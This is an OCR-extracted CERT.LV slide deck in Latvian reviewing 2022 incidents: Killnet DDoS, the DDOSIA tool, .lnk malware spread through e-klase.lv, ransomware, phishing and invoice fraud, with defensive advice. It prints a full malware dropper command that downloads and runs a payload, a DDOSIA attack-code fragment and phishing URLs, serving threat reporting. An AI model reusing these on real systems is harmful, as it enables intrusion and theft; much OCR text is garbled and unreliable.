Notikumi 2022

Gints Malkalnietis CERT.LV
Informacijas tehnologiju
dro$ibas incidentu

14 . 12 . 2022 novérsanas institlicija
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ACERT.LVA DDOS

Pret daudziem Latvijas uznemumiem un valsts iestazu resursiem notiek
intensivi DDODS uzbrukumi

Aktivi ar Krieviju saistiti grupejumi «Killnet» un citi.

Tiek izmantoti UDP flood un aplikaciju lirmena uzbrukumi

Intensitate — lidz 30Gbps, biezak — <10Gbps

Dala uzbrukumu tiek realizeta caur publiski pieejamiem proxy
izmantojot sagatavotus skriptus, ko aktivisti izpilda savos datoros,
pieméram, Seit atrodamos-
https://api.proxyscrape.com/?request=displayproxies&proxytype=socks
5&timeout=10000&country=all

Uzbrukumu koordinacija publiskos telegram kanalos




B 502 8ad Gateway x +

€ C @ banknotely,

502 Bad Gateway

nginx/1.18.0 (Ubuntu)

[TpogosiKaeM Halle nyTeLwecTBume
no J1aTBUN— U KNageM cuctemy
aBTOpM3aLMKM ONg Nosib3oBaTeNen
Ha cauTe MEeCTHOM
M®O, KoTopas 3aHMMaeTCH
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KilINet - KUBEP APMUSA Z !

He yaaetcsa nony4yuTb JOCTYN K
canTy

Cait mvd.riga.lv Heo)xuaaHHo pasopsan

coequHeHune

MonpobyiTe caenartb cneaylouwee

lMNpoeepbTe NoaKNoYeHue K MHTepHeTy

@ HALL NPOTECT B NOAAEPKKY KUPUNA ®EOPOBA

& 'BCio OTBETCTBEHHOCTb 3a aTaky 6epéT Ha cebs KILLNET"

Araka Ha MB[] NATBUU
https://mvd.riga.lv;

% https://check-host.net/check-report/81ec53bkb3e

Mo noBoay B3NOMOB CTPaHWL NUcaTb HaM
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"Pasazieru vilciens"
@PVilciens

X Aréju faktoru ietekmes sadarbibas partneriem dél
nav iespéjams iegadaties vilciena e-biletes "Pasazieru
vilciena" timeklvietné un mobilaja lietotné. Situacija
tiek risinata.

 Vilciena bileti var iegadaties kasé vai vilciena pie

konduktora kontroliera bez papildu maksas.

Translate Tweet

9:156 AM - Aug b, 2022

<« C @ stgs.autobusubilietal.lt

Forbidden

mission tQ ageess account login on this server
missio

You don't have per

e cubilietai.lt Port 443
4{pache/2.2.22 (Debian) Server-at Stgs.cautobusubilierd
Apache/2.2.22 o1

ERBnaronaps Halwel oaoc-aTake
ceropHsi Takxxe He paboTtaeT noprtan
MOKYNK1 6uneToB Ha aBTOBYCbI
JInTBbI:

‘o' MopnuceiBauTeChb Ha KaHan
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DDOSIA

DDOSIA - 3710 nyywiee 1O ana Harpy3o4yHOro TecTMpoBaHus

MO ana Harpy3ouHoro TectupoBaHua HTTP/HTTPS pecypcos

CkaymBaHue Ha ceoun PC:

1. HanTtute B Telegram 6oTa @DDosiabot
2. MporignTe npouesypy perncrpauunm

3. B KoHUue 60T Bblgact apxms Ddosia.zip. CkayaiTe 1 pacrakyiite ero Ha CBOEM KOMIMblOTepe B
NIFO6YI0 Marky.



if len(header[0]) > O: #
self. headers.append((string.Template (header[0]), string.Template(header[1])))
if body is None:
self. body = None
elif isinstance(body, str): :
self. body = string.Template (body) %
else: i

self. body = body
attack(self) =-> bool:
address = self. address if self. address is not None else socket.gethostbyname(self. host)
with socket.socket (socket.AF INET, socket.SOCK STREAM, socket.IPPROTO TCP) as s:
.setsockopt (socket.SOL SOCKET, socket.SO REUSEADDR, 1)

ILIII_III_III_II

1]
LL]

.setsockopt (socket.SOL SOCKET, socket.SO LINGER, struct.pack('ii', 1, 0))
.settimeout (self. timeout)
.connect ( (address, self. port))
.settimeout (None)
.setblocking(self._response)
request = self. get request()
response = None
if not self. use ssl:
s.send (request)
if self. response:
s.settimeout (self. timeout)
response = s.recv(32768)
else:
context = ssl.create default context ()




JJCERTL, DDOS dalibnieki

UDP flood no atvertiem DNS, chargen, NTP utt. servisiem. Avoti no
visas pasaules, ieskaitot Latviju

Layer 7 uzbrukumi — tiek veikti pa tieSo no datoriem un mobilajam
iekartam, dala caur VPN, Socks Proxy

No Latvijas aktivi VPN serveri, kompromitéti marsrutétaji ar Socks
Proxy

E fektivakie uzbrukumi veikti no komerciali pieejamiem DDOS botnetiem
[zsludinata atlidziba aktivakajiem DDOS veicéjiem




ACERT.LVA

E fektivi darbojas IPS piedavatie DDOS filtracijas mehanismi,
pakalpojumi ko piedava LVRTC, TET un citi.
Timekla vietnes var aizsargat izmantojot Cloudflare un citus

Iespejams lokali blo
nttp://api.proxyscra

DDOS aizsardziba

nakalpojumus, vajadziga preciza to konfiguracija

et piekluvi no zinamajiem Socks proxy, piemeram

ne.com/?request=displayproxies&proxytype=socksb

&timeout=10000&country=all

Var nakties ierobezot resursa pieejamibu no IP arpus Latvijas, jaizverté
sada ierobezojuma ietekme uz pakalpojumu

Ja uzbruceji zina realas jusu serveru IP, var nakties tos parcelt pie cita

IPS




E-klase.lv izplatits datorviruss

E-klases vecaku sarunas Video sazina

Dzestas

A A Lot
wvieinraKksi




=i E-klase. lv izplatits datorviruss

Files:
71f215cfle3bfell4521f3ce6a838f7a anketa.zip
41610b2892e5e942d0322a81b3bd1lac40 anketa.lnk

Host-based indicators:

C:\Windows\System32\cmd.exe /c @echo off & cd %userprofile%\Downloads\ & curl hxxp://Islb[.]in/docs/anketa.pdf --output
%userprofile%\Downloads\anketa.pdf & start %userprofile%\Downloads\anketa.pdf & timeout 4 & cd
%userprofile%\AppData\Roaming\ & md %userprofile%\AppData\Roaming\ScienceExplore & timeout 2 & cd
%userprofile%\AppData\Roaming\ScienceExplore\ & curl hxxp://Islb[.]in/In/ -L -k --output
%userprofile%\AppData\Roaming\ScienceExplore\coldFusion.zip --retry 10 --retry-connrefused --ssl-no-revoke & tar -x -k -f
%userprofile%\AppData\Roaming\ScienceExplore\coldFusion.zip & timeout 4 & start ™ /D
"%userprofile%\AppData\Roaming\ScienceExplore\" /B /W "coldFusion.exe" & timeout 3<C:\Program Files
(x86)\Microsoft\Edge\Application\msedge.exe

%USERPROFILE%\Downloads\anketa.pdf
%USERPROFILE%\AppData\Roaming\ScienceExplore\coldFusion.zip
%USERPROFILE%\AppData\Roaming\ScienceExplore\coldFusion.exe




=% _Ink failu izmantosana virusu izpildei

Jauns zinojums savam kontam - Mozilla Thunderbird O~ ] Jauns zinojums savam kontam - Mozilla Thunderbird e
File Edit View Go Message Enigmail Tools Help File Edit View Go Message Enigmail Tools Help
[ Get Messages |v /" write CJchat & AddressBook | D Tag v = [ Get Messages |v » Write [JChat & Address Book | © Tag v =

& Junk

Citadele Banka Citadele Bank ge»

Jauns zinojums savam kontam
5o v Ty
Cienijamais klient,

ojums savam kontam

SRS inbox v Ty

Jums ir svarigs zinojums Online.
—

Lai skatitu zinas, apmekléjums https://online.citadele.lv/Login [1]

e
(:it(](i(?l(? apskatit savu zinu.

Paldies par banku ar mums,

L . . Sveicieni,
Cienijamais klient, Citadele Banka

(c) 2019 Citadele Banka
Jums ir svarigs zinojums Online.

Lai skatitu zinas, apmekléjums https://online.citadele.lv/Login apskatit

’ Links
savu zZinu. )
[1]
’ /864bdclb255adBe9eafl19f8f2a567420/index.php
Sveicieni,

Citadele Banka
© 2019 Citadele Banka

http://ismaldives.com/citzz/864bdc1b255ad0e9ealf 19F8F2a567




Jauns zinojums savam kontam

Jauns zinojums savam kontam - Mozilla Thunderbird ae

e @inbox. vy File

LA Get Messages |v # Write CJchat & Address Book | © Tag v =

Edit View Go Message Enigmail Tools Help

% ReplyAll |~ || = Forward || & Archive | @ Junk || [ Delete | More v
Citadele Banka <ss@gngexpress- com>1y

—
Jauns zinojums savam kontam

Citﬂdele 5o v Y

Cienijamais klient,

Jums ir svarigs zinojums Online.
Cienijamais klient,

Lai skatitu zinas, apmekléjums https://online.citadele.lv/Login [1]

. : .. : apskatit savu zinu.
Jums ir svarigs zinojums Online.

Paldies par banku ar mums,
Lai skatitu zinas, apmekléjums https://online.citadele.lv/Logir
savu zinu.

Svelcieni,
Citadele Banka

Paldies par banku ar mums,

[1]
R http://ismaldives.com/citzz/864bdclb255ad0e9eaf19f8f2a567420
Sveicienl, /864bdclb255ad0e9eafl9f8f2a567420/index.php
Citadele Banka
© 2019 Citadele Banka

B - /e cives comycitzz/864bdc 1b255adOegeaf 19F8F2a567420/864bdc 1b255ad0eSeaf 19fs..
nttp://ismaldives.com/citzz/864bdc1b255ad0e9ealf19f8F2a567

e |




[ NV.htm x |+

(& fnl D File | Cy/NV.html

| & = Manage DVD Drive (E:) MV
Home Share Wiew Drive Tools
<« R » This PC » DWVD Drive (E) NV ~ o
~
# Downloads A MName Date modified Type Size

|z=| Documents

msver] 70.dll

0 NV

AM Application exten... 250 KB
:51 AM Shortcut 2KB| &

fa | o

&= Pictures

in NV.hml

J 3D Objects
[ Desktop
|==| Documents r'lr'u'l e j_rl'I':;] f 11 e
; Downloads
J’! Music
&= Pictures

Videos = - = - \
E Local Disk (C:) lT I:' < : = z [ l] === ; i :l
e // ch s path if it is C: drive & ts deobfuscation routine
= vbox_share (\\VE O i § A 'j[ "len ';]-th I ] i i++::| [-
¥ Metwork

2 items

e: "applicatio

o —h M

a

NV.img
Cpen file



PHrwl%tEﬂLE is dGHP only after

oft\Window
. pathy

Application exten...

Shortcut

' v - Manage Manage
Home Share Wiew Shortcut Tools Application Tools
\ ¥ A » This PC » DVD Drive (E:) NV
Eas
4 Downloads ~ Marre Date modified
=| Documents msver 70.dlI 2/8/2022 2:57 AM
= Pictures o | N 273077 151 AKA
admin » NV Properties X
MFA-phish General shortcut Details
caeimas-stratcor
== vbox_share (VI o
@& OneDrive Type of file:  Shartout (nk)
EH This PC Description:  Windows host process (Rundll32)
J 30 Objects
I Desktop Location: E:},
| Documents Size: 1.728 KB (1,832 bytes)
4 Downloads Size ondisk:  2.00 KB (2,048 bytes)
Jﬁ. Music
Created: Tuesday, February 8, 2022, 10:51:46 AM
| Pictures
) Madified: Tuesday, February 8, 2022, 10:51:46 AM
B Videos
. Local Disk (C:) Accessed: Tuesday, February 8, 2022, 10:51:46 AM
DVD Drive (BE) N .
Lol Attributes: Read-only [ ]Hidden Archive
w= vbox_share (\\Vi
cF MNetwork
W
2 items 1itermn selected 1.72 KB
Cancel Apply

LNK file properties

"RelativePath":
“F11ﬂATtr1hutes

I-1FTEntr yNumber"

”PrGuPrtJ storeDataBloc

DLL file msvcrl7e.dll
possibly with minimal

SHA1 6bf6fc//bl0T6700fa0

Registry created

ware\Microsott\Winc

malware has

sh\CurrentVersion\Run:
\msvcrl7@

(Malware dropper file for

_______ connected with trello[.]com:

\Windows\System3

CRTRuntimePPLLock

2\rund113

s L L,

(NV.1nk)

stem32\\rundl1l32.exe",

HasRelativePath, HasArguments,

indows
170.
nsolutePath" :

dll

rundll

SID“'"é 1-5-21- 335 1344-2329114543-1001"

downloading the 2n stage payload,

ctionality)

d3515b495dlele® msvcrl70.dll

"rentVersion\Run:\Windows\System32\ rundll

1wmsverl70.dl1", CRTRuntimePPLLock



V=22 _Ink failu izmantosana virusu izpildei

Ink faili ir butiska Windows OS sastavdala

» Tiek plasi izmantoti iscelu veidoSana starp failiem

Ink failu izmantosana datorvirusu izpildé nav jauna, bet Sobrid ir Tpasi
izplatita

Atsledziet .iso, .img utt. formatu failu automatiskas pievienoSanas
lespejas:

Group Policy / Administrative Templates / System / Device
Installation / Device Installation Restrictions / Prevent installation of

devices that match any of these device IDs / Enable set:
SCSNCdRomMsft_ Virtual DVD-ROM




Ink failu izmantosana virusu izpildei

File Action View Help
B v

Local Computer Policy _ Device Installation Restrictions
v (& Computer Configuration

Ensure admins can override the
restriction if needed

Prevent installation of devicesthat  Setting State Comment
| Software Settings atch £ th device ID
Windows Settings match any of these device IUs i) Allow administrators to override Device Installation Restriction policies Enabled

| Administrative Templates Edit jiz] Prevent installation of devices that match any of these device IDs Enabled

policy setting
Control Panel || Allow installation of devices that match anv of these device 1Ds Mot confiaured
Network Requirements: =) A

At least Windows Vista

Printers iZ]
Server i=|| ] Prevent installation of devices that match any of these device IDs

Description:
Start Menu and Taskbar This policy setting allo

Previous Setting Next Setting

System : _ ) -
=l (O Mot Configured Lomment:
Access-Denied Assistance - B g Show Contonts

| App-V . ? .2 (@ Enabled

installing. By -

#€ policy setting takes : D) Disabled

ce over any other policy [
Device Guard i that allows Windows to

| Device Health Attestation Service i ice. =i SCSICdRomMsft____ Virtual_DVD-ROM_
Device Installation A RoTE: T ble the "All ,

) . — : To enable the "Allow ;I

| Device Installation Restrictions installation of devices that match Qptions:
Disk NV Cache

any of these device instance IDs" | .
| Disk Quotas policy setting to supersede this o SCSI\CdRomMsft Virtual_DVD-ROM_

Display policy setting for applicable <e Device Ds: i 1 i
ey i anable theae o avered hese Device IDs: capitalization may matter here

. ) order of evaluation for Allow and i
Driver Installation o . L Show...
Prevent device installation policies
| Barly Launch Antimalware across all device match criteria”
Enhanced Storage Access policy setting.

Audit Process Creation Prevent installation of devices that match any of these Device IDs:

| Credentials Delegation

Supported on Value

o create a list of devices, click Show,
Lontents dialog box, in the Value col

| File Classification Infrastructure

If you enable this policy setting,

e a Plug and Play hardware ID or ¢
Windows is prevented from P ? ! ’ Cancel
' ' ' r example, gendisk, USB\COMPOS
B\Class_ff).

File Share Shadow Copy Provider

| Filesystem

< \ Extended A Standard /
13 setting(s)

| policies across all device match criteria® policy setting. l

| _-"\ISC apply to matching devices that are already If you enable this policy setting, Windows is prevented from
installed. installing a device whose hardware ID or compatible ID appears in
the list you create. If you enable this policy setting on a remote




V=22 _Ink failu izmantosana virusu izpildei

« Izmantojiet AppLocker lai ierobezotu programmu izpildes iespéjas no
%/temp/ mapem.

« Atsledziet programmu izpildes iespéjas no USB datu nesejiem

« Apmaciet lietotajus, par .Ink failu funkcionalitati




JCERLLY, Ievainojamibu meklesana

« Jevainojamibas tiek mekletas nepartraukti

« Salidzinot ar periodu pirms 01.2022, ievainojamibu mekléSanas
intensitate valsts un pasvaldibu resursos pieaugusi 7X

» Sekmigi uzbrukumi realizeti pret merkiem, kas nav ieverojusi labas
prakses principus IKT infrastruktiiras uzturésana

« Vairaki upuri eksponéjusi interneta resursus kuriem jau sen (8-12
ménesi) bijusas zinamas ievainojamibas, ar1 to programmaturas razotaji
bridinajusi par uzbrukumiem

« lekartas pieejamas publiska internet tikla bez praktiskas
nepiecieSamibas




EEREL, Butiskas ievainojamibas
kuru izmantosana konstateta incidentos

« Atlassian Jira CVE-2021-43947
« Atlassian Confluence CVE-2022-26134

* Microsoft Exchange CVE-2022-41040, CVE-2022-4108
 Php MyAdmin CVE-2022-23808




LA Webhlapu novecosana

« Tapat ka programmattra, weblapas un to CMS noveco

» Nav skaidribas kas ilgtermina atbild par uzturésanu

* |zveidotie e-komercijas risingjumi nodrosina nelielu biznesa dalu
« Nav vélme uzturét sarezgitas sistémas




CERT.LV

Webhlapu novecosana
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1% 60_-
2%
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3%

4.9.18 5.4.12
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ACERT.LVA

Deadholt izspiedejviruss

Latvija pirmie, mums zinamie, upuri 01.2022

« Izmanto ievainojamibas QNAP tikla datu glabatava
CVE-2021-44056, CVE-2021-44057

« [evainojama iekarta tiek izmantota citu upuru meklésana

. Sivirusa izplatitaji specializéjas ari uz citu razotaju tikla datu glabatavu
uzlausanu

« Dati tiek bojati uzbrukumos brivdienu naktis

 Nemaksajot datus atSifrét nav iespéjams




”CERT.LVA
Sifréjosie izspiedejvirusi = zudusi dati

Neeksistéjosas rezerves kopijas!

« Aktualajiem datiem kopijas tiek veidotas parak reti

« Kopijas tiek glabatas kopa ar pasSiem datiem — nav atbilstoSas rezerves kopiju
glabasanas infrastruktiras

* Nepietiekams kopéto datu apjoms, lai atri un bez zaudejumiem atjaunotu darbu
* Netiek veiktas reqularas parbaudes, lai apliecinatu kopéto datu darbaspéju




ACERT.LVA

Sifréjosie izspiedejvirusi

Vairums uzbrukumu veikti izmantojot RDP piekluvi
Praktiski visi veiksmigie uzbrukumi veikti brivdienu naktis

mm Vm

« Izmantoti riki ka Mimikatz un citi, lai atrastu datoros administratoru

naroles vai kerberos tickets.

« Visbiezak, upura lietotaja kontam bijusas vismaz lokala
administratora tiesibas, atlauts atslegt AV un mainit ugunsmura
konfiguraciju




CERT.LV Viltoti I‘él’(ini

Inh. Markus Neumayver

Tel. +49 (0) 8252/ 90 79
Am Brunnenfeld 2 Fax +49 (0) 8252/90 79
86565 Peutenhausen Mobil +49 (0) 171 / 6837610
EORI Nr. 6231349 Internet: www kfz-neumayer.de
UST-ID-Nr.: DE 203043176 “info/@Postauto-Bayern.de

Firma

g

Rechnung: 10886
Datum: 14.11.2022

Fahrzeugart:
Erstzulassung :
Fahrgestell Nr. :
KM Stand :

Steuerfreie Lieferung gem. §4 Nr. 1b i.V.m §6a UStG

Gesamtbetrag

Kaufvertrag & Rechnung eines Kf: ausdriickfich fiir Gewerbetreibende !
Leistungsdatum entspricht Rechnungsdatum!

Zahlbar sofort ohne Abzug! Kfz ausdricklich fiir gewerbliche Zwecke! Bis zur vollstandigen Zahlung bleibt das
Unfallfreiheit wird nicht zugesichert! Reimport
sgehindigt ! Verkauf an Wiederverkaufer

gar atum! Gerichtsstand Neuburg/Do.
araturbedtirflig, Fahrzeugabholung inncrhalb 7 Tage, dann

Fahrzeug mein Eij

-Euro pro Tag Standgebihr chen dann auf den Verkitufer tber,
ckaufl wie gesehen unter Ausschluss. icher Gewiihrleistung!

Motor/Getriebe/Kupplung verschlissen, allc Reparaturen gehen zu Lasten d
Fahrzeug wird im Bestimmungsland vom Kiufer ordentlich versteuert !
Datenschutzerklrung zur Einsicht ausgehitndig

Kaulvertrag inhaltlich verstanden und g
Bankverbindung:

Kontoname Begiinstigter:
IBAN 38 3004 0048 0851
SWIF ) F!
BANKNA
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Zaudejumi

Latvija ir gan veiksmigi izkraptas ar 6 cipariem rakstamas summas, gan
savlaicigi apturétas tik pat lielas transakcijas

Dominé gadijumi no 10 — 150 tukstoSi EUR

Garakais CERT.LV zinamais reakcijas laiks — 11 ménesi

v' Jo atrak izdodas atklat krapsanu — jo labakas iespéjas atgit naudu

v Krapniekiem ir vienalga, kura darijumu partnera e-pasta ielauzties

v’ Cilvécigais faktors — vél arvien labakais veids, ka atklat krapsanu ir
apmaciti un gana aizdomigi darbinieki!




H

Viltus loterijas

oneshotketoshop.fit/lucky/de- X + = X

&« X ® O a oneshotketoshop.fit B - O IN 0D ®

®
ml Laimé bel

oties lodzinu, ] 14.04.2021

Piedalies laimigaja izlozé *




Viltus investiciju platformas

L o B |

oy

[ 1D

--‘I'nl
i




—r Krapnieku zvanu centri




A CERTAY, Piegades kedes aizsardziha

 Daudzas datorsistémas ir savstarpeji saistitas vairak neka skiet

« Programmaturas razotaji izmanto sava koda citu izstradataju

nibliotekas un rikus

» Arpakalpojumu sniedzéji savus resursus var izvietot vél pie neskaitamiem
citiem partneriem

« Sarezgiti izsekot apjomigu produktu atjauninasanai un to komponentu
drosSibai

« Liela atkariba no Google, Facebook, Amazon, Microsoft utt.

» Uzbrukumi atsevisku komponentu izstradatajiem paklauj riskam simtiem
citu produktu.




v Rrogrammaturas piegadataja aizsardziba

» Sekmigam uzbrukumam vajag atrast vajako kedes elementu, nevis
uzbrukt labi aizsargatai datorsistemai!
« Ertibas labad resursu uzturétaji [abpratigi ievies dazadus «backdoor» :

[zstradatajam papildus izveidots lietotaja konts ar augstam tiesibam

IP adrese izstradataja tikla, no kuras var pieklut serveriem bez VPN savienojuma
Piekluve sistemu «backend» serveriem bez pilnvértigas darbibu izsekojamibas un
Zurnalésanas

Iespeja pieslegties sistémam bez saskanoSanas ar to turétaju

[zstradatajiem izsniegtas domena administratora tiesibas

Uz izstradataju kontiem neattiecas uznemuma pienemtas parolu izveides politikas
Atlauts izmantot novecojusas/neuzturétas OS un programmu versijas
Nepietiekami nodalita izstrades un produkcijas vide




EERLL, SARGA SEVI PATS

« Aizsargajot savu datorsistemu, meés aizsargajam ari klientu!

. Zurnalfaili un tikla plusmas pieraksti nav «darbinieku izspiegoSana», bet
nepiecieSamiba problému detektéSanai un to ietekmes novértésanai

» Tikla segmentesana un piek|uves tiesibu nodalisana

« Jatiek izstradata datorsistéema, kas tiks lietota paaugstinatas drosibas

IT risinajumam, ari tas izstrade iesaistitajiem ieteicams ievérot prasibas,

as attiecas uz sada veida sistemam

 Uzbrukumi izstradatajiem ir tehniski sarezgitu uzbrukumu sastavdala,

cas, Skietami, nekaité pasam izstradatajam, bet lauj ieklut dzili merka

organizacijas infrastruktura




EEREL, Majasdarbi

Laikus japarbauda zurnalfailu veidosana:
https://cert.lv/lv/2020/04/rekomendacijas-auditesanas-iestatijumiem-
windows-domena-infrastruktura

Microsoft Azur — parbaudiet, kadas ir jusu izveleta piesleguma plana
iespéjas, uzlabojiet auditacijas pierakstus

Centieties nesabojat un nepazaudét esosos datus — RAM kopijas,
zurnalfaili no iekartam ar mazu datu apjomu

Nebaidieties pienemt, ka «Viss ir slikti!»
https://cert.lv/Iv/2021/03/kompromiteta-domena-atpazisana-un-
atqusanas-pec-uzbrukuma



https://cert.lv/lv/2020/04/rekomendacijas-auditesanas-iestatijumiem-windows-domena-infrastruktura
https://cert.lv/lv/2021/03/kompromiteta-domena-atpazisana-un-atgusanas-pec-uzbrukuma

== Kapec uzbhrukumi ir sekmigi?

Vajas paroles

Neeksistéjoss/nepietiekams monitorings

Nav rezerves kopiju

Rezerves kopijas nesatur pietiekami daudz datu sistemas atjaunosanai
Nav veikta pietiekama piekluves tiestbu nodalisana

Steiga ievieSot jaunus pakalpojumus bez adekvatu drosibas risinajumu
izvéles

Datortikla un taja esoso servisu uzbuves neparzinasana

Nepietiekama programmaturas versiju/atjauninajumu kontrole un
jevieSana
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EERELA Tendences

. éifréjo§ie Virusi joprojam aktuali

 DDoS atkal ir mode

« Dazada veida krapSanas un izspiesanas shémas

« Intensivi telefona zvani, lai apkraptu banku klientus




Paldies!

https://lwww.cert.lv
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